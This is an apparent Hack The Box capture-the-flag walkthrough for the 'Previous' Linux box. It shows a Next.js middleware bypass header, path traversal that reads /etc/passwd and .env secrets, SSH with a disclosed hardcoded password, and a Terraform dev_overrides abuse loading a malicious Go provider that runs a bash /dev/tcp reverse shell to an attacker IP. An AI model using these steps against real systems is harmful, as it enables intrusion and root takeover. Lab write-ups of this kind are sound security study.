> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2025-08-30

Hack The Box — Previous (Linux)

Next.js middleware authorization bypass and path traversal lead to credential disclosure, then Terraform provider override abuse yields root via malicious plugin execution.

Target

  • IP: 10.10.11.83

Port scan

sudo nmap -sC -sV 10.10.11.83 -T5 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: PreviousJS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add previous.htb to /etc/hosts.

Go to http://previous.htb/.

There are two buttons: getting started and docs.

Click getting started. You are redirected to a login form. Enter random credentials, submit the form, and intercept request/response with Burp.

We discover it uses Next.js.

There is a vulnerability (CVE-2025-29927) with an exploit reference:

  • https://projectdiscovery.io/blog/nextjs-middleware-authorization-bypass

Go back to the homepage.

Click getting started and intercept the request with Burp.

Add this header:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Remember to leave two empty lines after it.

Send the request. We reach http://previous.htb/docs.

Using the same strategy, go to http://previous.htb/docs/examples.

On the page there is a file download link:

  • http://previous.htb/api/download?example=hello-world.ts

Click the link, intercept with Burp, and send it to Repeater.

Add this header:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Remember to leave two empty lines after it.

We obtain the file.

Replace the file path with ../../../etc/passwd:

/api/download?example=../../../etc/passwd

We obtain passwd.

We notice users node and nextjs.

Get /etc/hostname.

The hostname is 4bb9b862a172, so we are in a Docker container.

Get /proc/self/environ.

We see:

PWD=/app

Get /app/.env.

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

Get /app/.next/server/pages-manifest.json.

{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
}

Get /app/.next/server/pages/api/auth/[...nextauth].js.

We notice:

username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")
ssh jeremy@previous.htb

Insert password:

MyNameIsJeremyAndILovePancakes

We obtain a shell.

sudo -l
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

In jeremy home there is .terraformrc with this content:

provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}
ls -la /usr/local/go/bin
total 38744
drwxr-xr-x  2 root root     4096 Aug 21 18:38 .
drwxr-xr-x 10 root root     4096 Aug  7  2024 ..
-rwxr-xr-x  1 root root 13387863 Aug  7  2024 go
-rwxr-xr-x  1 root root  2850696 Aug  7  2024 gofmt
-rwxr-xr-x  1 root root 23418927 Aug 21 18:38 terraform-provider-examples

We discover that when running the sudo command, Terraform loads plugin terraform-provider-examples.

We discover plugin source code is in /opt/terraform-provider-examples.

The idea is to build a malicious plugin that executes a reverse shell.

Download /opt/terraform-provider-examples to the attacker machine:

scp -r jeremy@previous.htb:/opt/terraform-provider-examples .
cd terraform-provider-examples

Modify main.go as follows:

package main

import (
    "context"
    "flag"
    "log"
    "os/exec"

    "github.com/hashicorp/terraform-plugin-framework/providerserver"

    "terraform-provider-examples/internal/provider"
)


var (
        version string = "dev"
)

func main() {
        cmd := exec.Command("bash", "/dev/shm/rev")
        cmd.Output()

        var debug bool

        flag.BoolVar(&debug, "debug", false, "support for debuggers")
        flag.Parse()

        opts := providerserver.ServeOpts{
                Address: "previous.htb/terraform/examples",
                Debug:   debug,
        }

        err := providerserver.Serve(context.Background(), provider.New(version), opts)

        if err != nil {
                log.Fatal(err.Error())
        }
}

Run:

go mod tidy
go build

An executable binary called terraform-provider-examples is created.

Upload it to the victim machine:

scp terraform-provider-examples jeremy@previous.htb:/dev/shm

Modify .terraformrc as follows:

provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/dev/shm"
        }
        direct {}
}

On the victim machine, create /dev/shm/rev with content:

bash -i >& /dev/tcp/10.10.14.144/4444 0>&1

On attacker machine, listen with netcat:

nc -vlnp 4444

On victim machine, run:

sudo terraform -chdir\=/opt/examples apply

We obtain a reverse shell as root.